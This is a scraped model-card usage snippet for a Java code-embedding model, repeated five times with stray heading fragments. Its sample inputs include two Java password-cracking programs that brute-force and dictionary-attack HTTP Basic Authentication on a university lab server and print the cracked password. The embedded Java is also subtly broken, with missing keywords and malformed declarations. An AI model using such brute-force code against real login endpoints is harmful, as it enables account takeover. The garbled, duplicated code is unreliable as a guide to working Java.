# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
